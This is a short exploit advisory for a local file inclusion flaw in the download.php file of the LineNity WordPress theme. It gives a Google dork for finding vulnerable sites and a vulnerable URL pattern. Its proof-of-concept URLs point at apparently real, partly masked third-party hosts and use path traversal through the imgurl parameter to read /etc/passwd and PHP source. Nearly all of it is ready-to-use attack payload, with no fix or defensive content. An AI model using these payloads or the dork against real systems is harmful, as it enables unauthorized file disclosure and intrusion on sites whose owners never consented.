exploit title: Local File Inclusion in WordPress Theme LineNity
Date: 13/04/2014
Google Dorks: inurl:wp-content/themes/linenity/
Risk: High
Author: Felipe Andrian Peixoto
Vendor Homepage: http://themeforest.net/item/linenity-clean-responsive-wordpress-magazine/4417803
Contact: [email protected]
Tested on: Windows 7 and Linux
Vulnerable File: download.php
Exploit :

http://host/wp-content/themes/linenity/functions/download.php?imgurl=[ Local File Inclusion ]

PoC:

http://www.moXm-o-tron.com/wp-content/themes/linenity/functions/download.php?imgurl=../../../../index.php

http://sporX.ut.ee/wp-content/themes/linenity/functions/download.php?imgurl=../../../../../../../../../../../../../../..
/etc/passwd
http://lokXetpln.us.st//wp-content/themes/linenity/functions/download.php?imgurl=download.php